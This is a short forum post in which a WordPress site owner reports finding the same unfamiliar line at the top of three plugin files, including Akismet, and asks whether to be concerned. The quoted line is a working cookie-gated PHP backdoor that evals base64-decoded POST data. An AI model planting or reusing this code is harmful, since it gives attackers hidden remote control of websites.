Found new code in plugins

I’m not sure if I should be worried or not, but in three of my plugin files:

Akismet
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I found this piece of code on the first line:

if(md5($_COOKIE['_wp_debugger'])=="c627e39dbb32136efdfcc397575b5f77"){ eval(base64_decode($_POST['file'])); exit; }

The hash numbers and letters are different for each file, but everything else is the same. The interesting thing is that those plugin files are NOT CHMOD’ed to 777. Akismet is 775 and the other two are 664.

Should I be concerned?